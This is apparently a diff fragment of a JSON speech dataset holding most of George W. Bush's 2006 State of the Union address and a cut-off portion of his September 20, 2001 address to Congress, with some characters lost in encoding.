+    "speech": "Mr. Speaker, Vice President Cheney, Members of Congress, members of the Supreme\nCourt and Diplomatic Corps, distinguished guests and fellow citizens:Today our Nation lost a beloved, graceful, courageous woman who called America\nto its founding ideals and carried on a noble dream. Tonight we are comforted by\nthe hope of a glad reunion with the husband who was taken from her so long ago,\nand we are grateful for the good life of Coretta Scott King.Every time I am invited to this rostrum, I am humbled by the privilege, and\nmindful of the history we have seen together. We have gathered under this\nCapitol dome in moments of national mourning and national achievement. We have\nserved America through one of the most consequential periods of our history, and\nit has been my honor to serve with you.In a system of two parties, two chambers, and two elected branches, there will\nalways be differences and debate. But even tough debates can be conducted in a\ncivil tone, and our differences cannot be allowed to harden into anger. To\nconfront the great issues before us, we must act in a spirit of good will and\nrespect for one another, and I will do my part. Tonight the state of our Union\nis strong, and together we will make it stronger.In this decisive year, you and I will make choices that determine both the\nfuture and the character of our country. We will choose to act confidently in\npursuing the enemies of freedom, or retreat from our duties in the hope of an\neasier life. We will choose to build our prosperity by leading the world\neconomy, or shut ourselves off from trade and opportunity. In a complex and\nchallenging time, the road of isolationism and protectionism may seem broad and\ninviting, yet it ends in danger and decline. The only way to protect our people,\nthe only way to secure the peace, the only way to control our destiny is by our\nleadership, so the United States of America will continue to lead.Abroad, our Nation is committed to a historic, long-term goal. We seek the end\nof tyranny in our world. Some dismiss that goal as misguided idealism. In\nreality, the future security of America depends on it. On September 11, 2001, we\nfound that problems originating in a failed and oppressive state 7,000 miles\naway could bring murder and destruction to our country. Dictatorships shelter\nterrorists, feed resentment and radicalism, and seek weapons of mass\ndestruction. Democracies replace resentment with hope, respect the rights of\ntheir citizens and their neighbors, and join the fight against terror. Every\nstep toward freedom in the world makes our country safer, and so we will act\nboldly in freedom's cause.Far from being a hopeless dream, the advance of freedom is the great story of\nour time. In 1945, there were about two dozen lonely democracies in the world.\nToday, there are 122. And we are writing a new chapter in the story of\nself-government, with women lining up to vote in Afghanistan, and millions of\nIraqis marking their liberty with purple ink, and men and women from Lebanon to\nEgypt debating the rights of individuals and the necessity of freedom. At the\nstart of 2006, more than half the people of our world live in democratic\nnations. And we do not forget the other half, in places like Syria, Burma,\nZimbabwe, North Korea, and Iran, because the demands of justice, and the peace\nof this world, require their freedom as well.No one can deny the success of freedom, but some men rage and fight against it.\nAnd one of the main sources of reaction and opposition is radical Islam, the\nperversion by a few of a noble faith into an ideology of terror and death.\nTerrorists like bin Laden are serious about mass murder, and all of us must take\ntheir declared intentions seriously. They seek to impose a heartless system of\ntotalitarian control throughout the Middle East and arm themselves with weapons\nof mass murder. Their aim is to seize power in Iraq and use it as a safe haven\nto launch attacks against America and the world. Lacking the military strength\nto challenge us directly, the terrorists have chosen the weapon of fear. When\nthey murder children at a school in Beslan, or blow up commuters in London, or\nbehead a bound captive, the terrorists hope these horrors will break our will,\nallowing the violent to inherit the Earth. But they have miscalculated: we love\nour freedom, and we will fight to keep it.In a time of testing, we cannot find security by abandoning our commitments and\nretreating within our borders. If we were to leave these vicious attackers\nalone, they would not leave us alone. They would simply move the battlefield to\nour own shores. There is no peace in retreat. And there is no honor in retreat.\nBy allowing radical Islam to work its will, by leaving an assaulted world to\nfend for itself, we would signal to all that we no longer believe in our own\nideals, or even in our own courage. But our enemies and our friends can be\ncertain: the United States will not retreat from the world, and we will never\nsurrender to evil.America rejects the false comfort of isolationism. We are the Nation that saved\nliberty in Europe, and liberated death camps, and helped raise up democracies,\nand faced down an evil empire. Once again, we accept the call of history to\ndeliver the oppressed, and move this world toward peace.We remain on the offensive against terror networks. We have killed or captured\nmany of their leaders. And for the others, their day will come. We remain on the\noffensive in Afghanistan, where a fine president and national assembly are\nfighting terror while building the institutions of a new democracy.And we are on the offensive in Iraq, with a clear plan for victory. First, we\nare helping Iraqis build an inclusive government, so that old resentments will\nbe eased and the insurgency will be marginalized. Second, we are continuing\nreconstruction efforts and helping the Iraqi government to fight corruption and\nbuild a modern economy, so all Iraqis can experience the benefits of freedom.\nThird, we are striking terrorist targets while we train Iraqi forces that are\nincreasingly capable of defeating the enemy. Iraqis are showing their courage\nevery day, and we are proud to be their allies in the cause of freedom.Our work in Iraq is difficult because our enemy is brutal. But that brutality\nhas not stopped the dramatic progress of a new democracy. In less than 3 years,\nthat nation has gone from dictatorship, to liberation, to sovereignty, to a\nconstitution, to national elections. At the same time, our coalition has been\nrelentless in shutting off terrorist infiltration, clearing out insurgent\nstrongholds, and turning over territory to Iraqi security forces. I am confident\nin our plan for victory. I am confident in the will of the Iraqi people. I am\nconfident in the skill and spirit of our military. Fellow citizens, we are in\nthis fight to win, and we are winning.The road of victory is the road that will take our troops home. As we make\nprogress on the ground, and Iraqi forces increasingly take the lead, we should\nbe able to further decrease our troop levels; but those decisions will be made\nby our military commanders, not by politicians in Washington, D.C.Our coalition has learned from our experience in Iraq. We have adjusted our\nmilitary tactics and changed our approach to reconstruction. Along the way, we\nhave benefited from responsible criticism and counsel offered by Members of\nCongress of both parties. In the coming year, I will continue to reach out and\nseek your good advice.Yet there is a difference between responsible criticism that aims for success\nand defeatism that refuses to acknowledge anything but failure. Hindsight alone\nis not wisdom. And second-guessing is not a strategy.With so much in the balance, those of us in public office have a duty to speak\nwith candor. A sudden withdrawal of our forces from Iraq would abandon our Iraqi\nallies to death and prison, put men like bin Laden and Zarqawi in charge of a\nstrategic country, and show that a pledge from America means little. Members of\nCongress: however we feel about the decisions and debates of the past, our\nNation has only one option: we must keep our word, defeat our enemies, and stand\nbehind the American military in its vital mission.Our men and women in uniform are making sacrifices and showing a sense of duty\nstronger than all fear. They know what it is like to fight house to house in a\nmaze of streets, to wear heavy gear in the desert heat, to see a comrade killed\nby a roadside bomb. And those who know the costs also know the stakes. Marine\nStaff Sergeant Dan Clay was killed last month fighting in Fallujah. He left\nbehind a letter to his family, but his words could just as well be addressed to\nevery American. Here is what Dan wrote: \"I know what honor is. It has been an\nhonor to protect and serve all of you. I faced death with the secure knowledge\nthat you would not have to. Never falter. Don't hesitate to honor and support\nthose of us who have the honor of protecting that which is worth protecting.\"Staff Sergeant Dan Clay's wife, Lisa, and his mom and dad, Sara Jo and Bud, are\nwith us this evening. Welcome. Our Nation is grateful to the fallen, who live in\nthe memory of our country. We are grateful to all who volunteer to wear our\nNation's uniform; and as we honor our brave troops, let us never forget the\nsacrifices of America's military families.Our offensive against terror involves more than military action. Ultimately, the\nonly way to defeat the terrorists is to defeat their dark vision of hatred and\nfear by offering the hopeful alternative of political freedom and peaceful\nchange. So the United States of America supports democratic reform across the\nbroader Middle East. Elections are vital, but they are only the beginning.\nRaising up a democracy requires the rule of law, protection of minorities, and\nstrong, accountable institutions that last longer than a single vote. The great\npeople of Egypt have voted in a multiparty presidential election, and now their\ngovernment should open paths of peaceful opposition that will reduce the appeal\nof radicalism. The Palestinian people have voted in elections, and now the\nleaders of Hamas must recognize Israel, disarm, reject terrorism, and work for\nlasting peace. Saudi Arabia has taken the first steps of reform. Now it can\noffer its people a better future by pressing forward with those efforts.Democracies in the Middle East will not look like our own, because they will\nreflect the traditions of their own citizens. Yet liberty is the future of every\nnation in the Middle East, because liberty is the right and hope of all\nhumanity.The same is true of Iran, a nation now held hostage by a small clerical elite\nthat is isolating and repressing its people. The regime in that country sponsors\nterrorists in the Palestinian territories and in Lebanon, and that must come to\nan end. The Iranian government is defying the world with its nuclear ambitions,\nand the nations of the world must not permit the Iranian regime to gain nuclear\nweapons. America will continue to rally the world to confront these threats. And\ntonight, let me speak directly to the citizens of Iran: America respects you,\nand we respect your country. We respect your right to choose your own future and\nwin your own freedom. And our Nation hopes one day to be the closest of friends\nwith a free and democratic Iran.To overcome dangers in our world, we must also take the offensive by encouraging\neconomic progress, fighting disease, and spreading hope in hopeless lands.\nIsolationism would not only tie our hands in fighting enemies; it would keep us\nfrom helping our friends in desperate need. We show compassion abroad because\nAmericans believe in the God-given dignity and worth of a villager with\nHIV/AIDS, or an infant with malaria, or a refugee fleeing genocide, or a young\ngirl sold into slavery. We also show compassion abroad because regions\noverwhelmed by poverty, corruption, and despair are sources of terrorism,\norganized crime, human trafficking, and the drug trade.In recent years, you and I have taken unprecedented action to fight AIDS and\nmalaria, expand the education of girls, and reward developing nations that are\nmoving forward with economic and political reform. For people everywhere, the\nUnited States is a partner for a better life. Shortchanging these efforts would\nincrease the suffering and chaos of our world, undercut our long-term security,\nand dull the conscience of our country. I urge Members of Congress to serve the\ninterests of America by showing the compassion of America.Our country must also remain on the offensive against terrorism here at home.\nThe enemy has not lost the desire or capability to attack us. Fortunately, this\nNation has superb professionals in law enforcement, intelligence, the military,\nand homeland security. These men and women are dedicating their lives to\nprotecting us all, and they deserve our support and our thanks. They also\ndeserve the same tools they already use to fight drug trafficking and organized\ncrime, so I ask you to reauthorize the PATRIOT Act.It is said that prior to the attacks of September 11, our government failed to\nconnect the dots of the conspiracy. We now know that two of the hijackers in the\nUnited States placed telephone calls to al Qaeda operatives overseas. But we did\nnot know about their plans until it was too late. So to prevent another attack,\nbased on authority given to me by the Constitution and by statute, I have\nauthorized a terrorist surveillance program to aggressively pursue the\ninternational communications of suspected al Qaeda operatives and affiliates to\nand from America. Previous Presidents have used the same constitutional\nauthority I have, and Federal courts have approved the use of that authority.\nAppropriate Members of Congress have been kept informed. This terrorist\nsurveillance program has helped prevent terrorist attacks. It remains essential\nto the security of America. If there are people inside our country who are\ntalking with al Qaeda, we want to know about it, because we will not sit back\nand wait to be hit again.In all these areas, from the disruption of terror networks, to victory in Iraq,\nto the spread of freedom and hope in troubled regions, we need the support of\nour friends and allies. To draw that support, we must always be clear in our\nprinciples and willing to act. The only alternative to American leadership is a\ndramatically more dangerous and anxious world. Yet we also choose to lead\nbecause it is a privilege to serve the values that gave us birth. American\nleaders, from Roosevelt to Truman to Kennedy to Reagan, rejected isolation and\nretreat because they knew that America is always more secure when freedom is on\nthe march. Our own generation is in a long war against a determined enemy, a war\nthat will be fought by Presidents of both parties, who will need steady\nbipartisan support from the Congress. And tonight I ask for yours. Together, let\nus protect our country, support the men and women who defend us, and lead this\nworld toward freedom.Here at home, America also has a great opportunity: we will build the prosperity\nof our country by strengthening our economic leadership in the world.Our economy is healthy and vigorous and growing faster than other major\nindustrialized nations. In the last 2\\1/2\\ years, America has created 4.6\nmillion new jobs, more than Japan and the European Union combined. Even in the\nface of higher energy prices and natural disasters, the American people have\nturned in an economic performance that is the envy of the world.The American economy is preeminent, but we cannot afford to be complacent. In a\ndynamic world economy, we are seeing new competitors like China and India. This\ncreates uncertainty, which makes it easier to feed people's fears. And so we are\nseeing some old temptations return. Protectionists want to escape competition,\npretending that we can keep our high standard of living while walling off our\neconomy. Others say that the government needs to take a larger role in directing\nthe economy, centralizing more power in Washington and increasing taxes. We hear\nclaims that immigrants are somehow bad for the economy, even though this economy\ncould not function without them. All these are forms of economic retreat, and\nthey lead in the same direction, toward a stagnant and second-rate economy.Tonight I will set out a better path, an agenda for a Nation that competes with\nconfidence, an agenda that will raise standards of living and generate new jobs.\nAmericans should not fear our economic future, because we intend to shape it.Keeping America competitive begins with keeping our economy growing, and our\neconomy grows when Americans have more of their own money to spend, save, and\ninvest. In the last 5 years, the tax relief you passed has left $880 billion in\nthe hands of American workers, investors, small businesses, and families; and\nthey have used it to help produce more than 4 years of uninterrupted economic\ngrowth. Yet the tax relief is set to expire in the next few years. If we do\nnothing, American families will face a massive tax increase they do not expect\nand will not welcome.Because America needs more than a temporary expansion, we need more than\ntemporary tax relief. I urge the Congress to act responsibly and make the tax\ncuts permanent.Keeping America competitive requires us to be good stewards of tax dollars.\nEvery year of my Presidency, we have reduced the growth of nonsecurity\ndiscretionary spending, and last year you passed bills that cut this spending.\nThis year my budget will cut it again and reduce or eliminate more than 140\nprograms that are performing poorly or not fulfilling essential priorities. By\npassing these reforms, we will save the American taxpayer another $14 billion\nnext year and stay on track to cut the deficit in half by 2009. I am pleased\nthat Members of Congress are working on earmark reform, because the Federal\nbudget has too many special interest projects. And we can tackle this problem\ntogether, if you pass the line-item veto.We must also confront the larger challenge of mandatory spending, or\nentitlements. This year, the first of about 78 million baby boomers turn 60,\nincluding two of my dad's favorite people, me and President Clinton. This\nmilestone is more than a personal crisis; it is a national challenge. The\nretirement of the baby boom generation will put unprecedented strains on the\nFederal Government. By 2030, spending for Social Security, Medicare, and\nMedicaid alone will be almost 60 percent of the entire Federal budget. And that\nwill present future Congresses with impossible choices, staggering tax\nincreases, immense deficits, or deep cuts in every category of spending.Congress did not act last year on my proposal to save Social Security; yet the\nrising cost of entitlements is a problem that is not going away. And with every\nyear we fail to act, the situation gets worse. So tonight, I ask you to join me\nin creating a commission to examine the full impact of baby boom retirements on\nSocial Security, Medicare, and Medicaid. This commission should include Members\nof Congress of both parties, and offer bipartisan solutions. We need to put\naside partisan politics, work together, and get this problem solved.Keeping America competitive requires us to open more markets for all that\nAmericans make and grow. One out of every five factory jobs in America is\nrelated to global trade, and we want people everywhere to buy American. With\nopen markets and a level playing field, no one can outproduce or outcompete the\nAmerican worker.Keeping America competitive requires an immigration system that upholds our\nlaws, reflects our values, and serves the interests of our economy. Our Nation\nneeds orderly and secure borders. To meet this goal, we must have stronger\nimmigration enforcement and border protection. And we must have a rational,\nhumane guest worker program that rejects amnesty, allows temporary jobs for\npeople who seek them legally, and reduces smuggling and crime at the border.Keeping America competitive requires affordable health care. Our government has\na responsibility to help provide health care for the poor and the elderly, and\nwe are meeting that responsibility. For all Americans, we must confront the\nrising cost of care, strengthen the doctor-patient relationship, and help people\nafford the insurance coverage they need. We will make wider use of electronic\nrecords and other health information technology to help control costs and reduce\ndangerous medical errors. We will strengthen health savings accounts by making\nsure individuals and small business employees can buy insurance with the same\nadvantages that people working for big businesses now get. We will do more to\nmake this coverage portable, so workers can switch jobs without having to worry\nabout losing their health insurance. And because lawsuits are driving many good\ndoctors out of practice, leaving women in nearly 1,500 American counties without\na single OB-GYN, I ask the Congress to pass medical liability reform this year.Keeping America competitive requires affordable energy. Here we have a serious\nproblem: America is addicted to oil, which is often imported from unstable parts\nof the world.The best way to break this addiction is through technology. Since 2001, we have\nspent nearly $10 billion to develop cleaner, cheaper, and more reliable\nalternative energy sources; and we are on the threshold of incredible advances.\nSo tonight, I announce the Advanced Energy Initiative, a 22 percent increase in\nclean energy research at the Department of Energy, to push for breakthroughs in\ntwo vital areas. To change how we power our homes and offices, we will invest\nmore in zero- emission coal-fired plants; revolutionary solar and wind\ntechnologies; and clean, safe nuclear energy.We must also change how we power our automobiles. We will increase our research\nin better batteries for hybrid and electric cars and in pollution-free cars that\nrun on hydrogen. We will also fund additional research in cutting-edge methods\nof producing ethanol, not just from corn but from wood chips, stalks, or switch\ngrass. Our goal is to make this new kind of ethanol practical and competitive\nwithin 6 years. Breakthroughs on this and other new technologies will help us\nreach another great goal: to replace more than 75 percent of our oil imports\nfrom the Middle East by 2025. By applying the talent and technology of America,\nthis country can dramatically improve our environment, move beyond a\npetroleum-based economy, and make our dependence on Middle Eastern oil a thing\nof the past.And to keep America competitive, one commitment is necessary above all: we must\ncontinue to lead the world in human talent and creativity. Our greatest\nadvantage in the world has always been our educated, hardworking, ambitious\npeople; and we are going to keep that edge. Tonight I announce the American\nCompetitiveness Initiative, to encourage innovation throughout our economy and\nto give our Nation's children a firm grounding in math and science.First: I propose to double the Federal commitment to the most critical basic\nresearch programs in the physical sciences over the next 10 years. This funding\nwill support the work of America's most creative minds as they explore promising\nareas such as nanotechnology, supercomputing, and alternative energy sources.Second: I propose to make permanent the research and development tax credit, to\nencourage bolder private-sector investment in technology. With more research in\nboth the public and private sectors, we will improve our quality of life and\nensure that America will lead the world in opportunity and innovation for\ndecades to come.Third: We need to encourage children to take more math and science and make sure\nthose courses are rigorous enough to compete with other nations. We have made a\ngood start in the early grades with the No Child Left Behind Act, which is\nraising standards and lifting test scores across our country. Tonight, I propose\nto train 70,000 high school teachers to lead advanced placement courses in math\nand science; bring 30,000 math and science professionals to teach in classrooms;\nand give early help to students who struggle with math, so they have a better\nchance at good high-wage jobs. If we ensure that America's children succeed in\nlife, they will ensure that America succeeds in the world.Preparing our Nation to compete in the world is a goal that all of us can share.\nI urge you to support the American Competitiveness Initiative, and together we\nwill show the world what the American people can achieve.America is a great force for freedom and prosperity. Yet our greatness is not\nmeasured in power or luxuries, but by who we are and how we treat one another.\nSo we strive to be a compassionate, decent, hopeful society.In recent years, America has become a more hopeful Nation. Violent crime rates\nhave fallen to their lowest levels since the 1970s. Welfare cases have dropped\nby more than half over the past decade. Drug use among youth is down 19 percent\nsince 2001. There are fewer abortions in America than at any point in the last\nthree decades, and the number of children born to teenage mothers has been\nfalling for a dozen years in a row.These gains are evidence of a quiet transformation, a revolution of conscience,\nin which a rising generation is finding that a life of personal responsibility\nis a life of fulfillment. Government has played a role. Wise policies such as\nwelfare reform, drug education, and support for abstinence and adoption have\nmade a difference in the character of our country. And everyone here tonight,\nDemocrat and Republican, has a right to be proud of this record.Yet many Americans, especially parents, still have deep concerns about the\ndirection of our culture and the health of our most basic institutions. They are\nconcerned about unethical conduct by public officials, and discouraged by\nactivist courts that try to redefine marriage. And they worry about children in\nour society who need direction and love, and about fellow citizens still\ndisplaced by natural disaster, and about suffering caused by treatable diseases.As we look at these challenges, we must never give in to the belief that America\nis in decline or that our culture is doomed to unravel. The American people know\nbetter than that. We have proven the pessimists wrong before, and we will do it\nagain.A hopeful society depends on courts that deliver equal justice under the law.\nThe Supreme Court now has two superb new members on its bench, Chief Justice\nJohn Roberts and Justice Sam Alito. I thank the Senate for confirming both of\nthem. I will continue to nominate men and women who understand that judges must\nbe servants of the law, and not legislate from the bench. Today marks the\nofficial retirement of a very special American. For 24 years of faithful service\nto our Nation, the United States is grateful to Justice Sandra Day O'Connor.A hopeful society has institutions of science and medicine that do not cut\nethical corners and that recognize the matchless value of every life. Tonight, I\nask you to pass legislation to prohibit the most egregious abuses of medical\nresearch: human cloning in all its forms, creating or implanting embryos for\nexperiments, creating human-animal hybrids, and buying, selling or patenting\nhuman embryos. Human life is a gift from our Creator, and that gift should never\nbe discarded, devalued, or put up for sale.A hopeful society expects elected officials to uphold the public trust.\nHonorable people in both parties are working on reforms to strengthen the\nethical standards of Washington, and I support your efforts. Each of us has made\na pledge to be worthy of public responsibility, and that is a pledge we must\nnever forget, never dismiss, and never betray.As we renew the promise of our institutions, let us also show the character of\nAmerica in our compassion and care for one another.A hopeful society gives special attention to children who lack direction and\nlove. Through the Helping America's Youth Initiative, we are encouraging caring\nadults to get involved in the life of a child, and this good work is being led\nby our First Lady, Laura Bush. This year we will add resources to encourage\nyoung people to stay in school, so more of America's youth can raise their\nsights and achieve their dreams.A hopeful society comes to the aid of fellow citizens in times of suffering and\nemergency and stays at it until they are back on their feet. So far the Federal\nGovernment has committed $85 billion to the people of the gulf coast and New\nOrleans. We are removing debris, repairing highways, and building stronger\nlevees. We are providing business loans and housing assistance. Yet as we meet\nthese immediate needs, we must also address deeper challenges that existed\nbefore the storm arrived. In New Orleans and in other places, many of our fellow\ncitizens have felt excluded from the promise of our country. The answer is not\nonly temporary relief, but schools that teach every child and job skills that\nbring upward mobility and more opportunities to own a home and start a business.\nAs we recover from a disaster, let us also work for the day when all Americans\nare protected by justice, equal in hope, and rich in opportunity.A hopeful society acts boldly to fight diseases like HIV/AIDS, which can be\nprevented and treated and defeated. More than a million Americans live with HIV,\nand half of all AIDS cases occur among African Americans. I ask Congress to\nreform and reauthorize the Ryan White Act and provide new funding to States so\nwe end the waiting lists for AIDS medicines in America. We will also lead a\nnationwide effort, working closely with African American churches and\nfaith-based groups, to deliver rapid HIV tests to millions, end the stigma of\nAIDS, and come closer to the day when there are no new infections in America.Fellow citizens, we have been called to leadership in a period of consequence.\nWe have entered a great ideological conflict we did nothing to invite. We see\ngreat changes in science and commerce that will influence all our lives. And\nsometimes it can seem that history is turning in a wide arc, toward an unknown\nshore.Yet the destination of history is determined by human action, and every great\nmovement of history comes to a point of choosing. Lincoln could have accepted\npeace at the cost of disunity and continued slavery. Martin Luther King could\nhave stopped at Birmingham or at Selma and achieved only half a victory over\nsegregation. The United States could have accepted the permanent division of\nEurope and been complicit in the oppression of others. Today, having come far in\nour own historical journey, we must decide: Will we turn back, or finish well?Before history is written down in books, it is written in courage. Like\nAmericans before us, we will show that courage, and we will finish well. We will\nlead freedom's advance. We will compete and excel in the global economy. We will\nrenew the defining moral commitments of this land. And so we move forward,\noptimistic about our country, faithful to its cause, and confident of the\nvictories to come.May God bless America.[Applause, the Members rising.]", 
+    "name": "George W. Bush"
+}
\ No newline at end of file
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+{
+    "date": "September 20, 2001", 
+    "speech": "To the Congress of the United States:Mr. Speaker, Mr. President pro tempore, Members of Congress, and fellow\nAmericans:In the normal course of events, Presidents come to this chamber to report on the\nstate of the Union. Tonight, no such report is needed. It has already been\ndelivered by the American people.We have seen it in the courage of passengers, who rushed terrorists to save\nothers on the groundpassengers like an exceptional man named Todd Beamer.\nPlease help me to welcome his wife, Lisa Beamer, here tonight.We have seen the state of our Union in the endurance of rescuers, working past\nexhaustion. We have seen the unfurling of flags, the lighting of candles, the\ngiving of blood, the saying of prayersin English, Hebrew, and Arabic.We have seen the decency of a loving and giving people, who have made the grief\nof strangers their own.My fellow citizens, for the last nine days, the entire world has seen for itself\nthe state of our Unionand it is strong.Tonight we are a country awakened to danger and called to defend freedom. Our\ngrief has turned to anger, and anger to resolution. Whether we bring our enemies\nto justice, or bring justice to our enemies, justice will be done. I thank the\nCongress for its leadership at such an important time. All of America was\ntouched on the evening of the tragedy to see Republicans and Democrats, joined\ntogether on the steps of this Capitol, singing God Bless America. And you\ndid more than sing, you acted, by delivering forty billion dollars to rebuild\nour communities and meet the needs of our military.Speaker Hastert and Minority Leader Gephardt, Majority Leader Daschle, and\nSenator Lott, I thank you for your friendship and your leadership and your\nservice to our country. And on behalf of the American people, I thank the world\nfor its outpouring of support. America will never forget the sounds of our\nNational Anthem playing at Buckingham Palace, and on the streets of Paris, and\nat Berlins Brandenburg Gate. We will not forget South Korean children gathering\nto pray outside our embassy in Seoul, or the prayers of sympathy offered at a\nmosque in Cairo. We will not forget moments of silence and days of mourning in\nAustralia and Africa and Latin America.Nor will we forget the citizens of eighty other nations who died with our own.\nDozens of Pakistanis. More than 130 Israelis. More than 250 citizens of India.\nMen and women from El Salvador, Iran, Mexico, and Japan. And hundreds of British\ncitizens. America has no truer friend than Great Britain. Once again, we are\njoined together in a great cause. The British Prime Minister has crossed an\nocean to show his unity of purpose with America, and tonight we welcome Tony\nBlair.On September the eleventh, enemies of freedom committed an act of war against\nour country. Americans have known warsbut for the past 136 years, they have\nbeen wars on foreign soil, except for one Sunday in 1941. Americans have known\nthe casualties of warbut not at the center of a great city on a peaceful\nmorning. Americans have known surprise attacksbut never before on thousands of\ncivilians. All of this was brought upon us in a single dayand night fell on a\ndifferent world, a world where freedom itself is under attack.Americans have many questions tonight. Americans are asking: Who attacked our\ncountry?The evidence we have gathered all points to a collection of loosely affiliated\nterrorist organizations known as al-Qaida. They are the same murderers indicted\nfor bombing American embassies in Tanzania and Kenya, and responsible for the\nbombing of the U.S.S. Cole.Al-Qaida is to terror what the mafia is to crime. But its goal is not making\nmoney; its goal is remaking the worldand imposing its radical beliefs on people\neverywhere.The terrorists practice a fringe form of Islamic extremism that has been\nrejected by Muslim scholars and the vast majority of Muslim clericsa fringe\nmovement that perverts the peaceful teachings of Islam. The terrorists\ndirective commands them to kill Christians and Jews, to kill all Americans, and\nmake no distinctions among military and civilians, including women and children.This group and its leadersa person named Usama bin Ladinare linked to many\nother organizations in different countries, including the Egyptian Islamic Jihad\nand the Islamic Movement of Uzbekistan.There are thousands of these terrorists in more than sixty countries. They are\nrecruited from their own nations and neighborhoods, and brought to camps in\nplaces like Afghanistan where they are trained in the tactics of terror. They\nare sent back to their homes or sent to hide in countries around the world to\nplot evil and destruction.The leadership of al-Qaida has great influence in Afghanistan, and supports the\nTaliban regime in controlling most of that country. In Afghanistan, we see\nal-Qaidas vision for the world. Afghanistans people have been brutalized many\nare starving and many have fled. Women are not allowed to attend school. You can\nbe jailed for owning a television. Religion can be practiced only as their\nleaders dictate. A man can be jailed in Afghanistan if his beard is not long\nenough.The United States respects the people of Afghanistanafter all, we are currently\nits largest source of humanitarian aidbut we condemn the Taliban regime. It is\nnot only repressing its own people, it is threatening people everywhere by\nsponsoring and sheltering and supplying terrorists. By aiding and abetting\nmurder, the Taliban regime is committing murder. And tonight, the United States\nof America makes the following demands on the Taliban:Deliver to United States authorities all the leaders of al-Qaida who hide in\nyour land.Release all foreign nationalsincluding American citizensyou have unjustly\nimprisoned, and protect foreign journalists, diplomats, and aid workers in your\ncountry.Close immediately and permanently every terrorist training camp in Afghanistan\nand hand over every terrorist, and every person in their support structure, to\nappropriate authorities. Give the United States full access to terrorist\ntraining camps, so we can make sure they are no longer operating. These demands\nare not open to negotiation or discussion. The Taliban must act and act\nimmediately. They will hand over the terrorists, or they will share in their\nfate.I also want to speak tonight directly to Muslims throughout the world: We\nrespect your faith. It is practiced freely by many millions of Americans, and by\nmillions more in countries that America counts as friends. Its teachings are\ngood and peaceful, and those who commit evil in the name of Allah blaspheme the\nname of Allah. The terrorists are traitors to their own faith, trying, in\neffect, to hijack Islam itself.The enemy of America is not our many Muslim friends; it is not our many Arab\nfriends. Our enemy is a radical network of terrorists, and every government that\nsupports them.Our war on terror with al-Qaida, but it does not end there. It will not end\nuntil every terrorist group of global reach has been found, stopped, and\ndefeated. Americans are asking: Why do they hate us?They hate what we see right here in this chambera democratically elected\ngovernment. Their leaders are self-appointed. They hate our freedomsour freedom\nof religion, our freedom of speech, our freedom to vote and assemble and\ndisagree with each other. They want to overthrow existing governments in many\nMuslim countries, such as Egypt, Saudi Arabia, and Jordan. They want to drive\nIsrael out of the Middle East. They want to drive Christians and Jews out of\nvast regions of Asia and Africa.These terrorists kill not merely to end lives, but to disrupt and end a way of\nlife. With every atrocity, they hope that America grows fearful, retreating from\nthe world and forsaking our friends. They stand against us, because we stand in\ntheir way.We are not deceived by their pretenses to piety. We have seen their kind before.\nThey are the heirs of all the murderous ideologies of the twentieth century. By\nsacrificing human life to serve their radical visionsby abandoning every value\nexcept the will to powerthey follow in the path of fascism, and Nazism, and\ntotalitarianism. And they will follow that path all the way, to where it ends:\nin historys unmarked grave of discarded lies.Americans are asking: How will we fight and win this war?We will direct every resource at our commandevery means of diplomacy, every\ntool of intelligence, every instrument of law enforcement, every financial\ninfluence, and every necessary weapon of warto the disruption and defeat of the\nglobal terror network. This war will not be like the war against Iraq a decade\nago, with its decisive liberation of territory and its swift conclusion. It will\nnot look like the air war above Kosovo two years ago, where no ground troops\nwere used and not a single American was lost in combat.Our response involves far more than instant retaliation and isolated strikes.\nAmericans should not expect one battle, but a lengthy campaign, unlike any other\nwe have seen. It may include dramatic strikes, visible on television, and covert\noperations, secret even in success. We will starve terrorists of funding, turn\nthem one against another, drive them from place to place, until there is no\nrefuge or rest. And we will pursue nations that provide aid or safe haven to\nterrorism.Every nation, in every region, now has a decision to make. Either you are with\nus, or you are with the terrorists. From this day forward, any nation that\ncontinues to harbor or support terrorism will be regarded by the United States\nas a hostile regime.Our Nation has been put on notice: We are not immune from attack. We will take\ndefensive measures against terrorism to protect Americans. Today, dozens of\nFederal departments and agencies, as well as State and local governments, have\nresponsibilities affecting homeland security.These efforts must be coordinated at the highest level. So tonight I announce\nthe creation of a Cabinet-level position reporting directly to methe Office of\nHomeland Security. And tonight I also announce a distinguished American to lead\nthis effort to strengthen Americas securitya military veteran, an effective\nGovernor, a true patriot, and my trusted friend, Pennsylvanias Governor Tom\nRidge. He will lead, oversee, and coordinate a comprehensive national strategy\nto safeguard our country against terrorism, and respond to any attacks that may\ncome.These measures are essential. But the only way to defeat terrorism as a threat\nto our way of life is to stop it, eliminate it, and destroy it where it grows.Many will be involved in this effort, from FBI agents to intelligence operatives\nto the reservists we have called to active duty. All deserve our thanks, and all\nhave our prayers. And tonight, a few miles from the damaged Pentagon, I have a\nmessage for our military: Be ready. I have called the armed forces to alert, and\nthere is a reason. The hour is coming when America will act, and you will make\nus proud.This is not, however, just Americas fight. And what is at stake is not just\nAmericas freedom. This is the worlds fight. This is civilizations fight. This\nis the fight of all who believe in progress and pluralism, tolerance and\nfreedom.We ask every nation to join us. We will ask, and we will need, the help of\npolice forces, intelligence services, and banking systems around the world. The\nUnited States is grateful that many nations and many international organizations\nhave already respondedwith sympathy and with support. Nations from Latin\nAmerica, to Asia, to Africa, to Europe, to the Islamic world. Perhaps the NATO\nCharter reflects best the attitude of the world: an attack on one is an attack\non all.The civilized world is rallying to Americas side. They understand that if this\nterror goes unpunished, their own cities, their own citizens may be next.\nTerror, unanswered, can not only bring down buildings, it can threaten the\nstability of legitimate governments. And we will not allow it.Americans are asking: What is expected of us?I ask you to live your lives and hug your children. I know many citizens have\nfears tonight, and I ask you to be calm and resolute, even in the face of a\ncontinuing threat.I ask you to uphold the values of America, and remember why so many have come\nhere. We are in a fight for our principles, and our first responsibility is to\nlive by them. No one should be singled out for unfair treatment or unkind words\nbecause of their ethnic background or religious faith.I ask you to continue to support the victims of this tragedy with your\ncontributions. Those who want to give can go to a central source of information,\nlibertyunites.org, to find the names of groups providing direct help in New\nYork, Pennsylvania, and Virginia. The thousands of FBI agents who are now at\nwork in this investigation may need your cooperation, and I ask you to give it.I ask for your patience, with the delays and inconveniences that may accompany\ntighter securityand for your patience in what will be a long struggle.I ask your continued participation and confidence in the American economy.\nTerrorists attacked a symbol of American prosperity. They did not touch its\nsource. America is successful because of the hard work, and creativity, and\nenterprise of our people.These were the true strengths of our economy before September eleventh, and they\nare our strengths today. Finally, please continue praying for the victims of\nterror and their families, for those in uniform, and for our great country.\nPrayer has comforted us in sorrow, and will help strengthen us for the 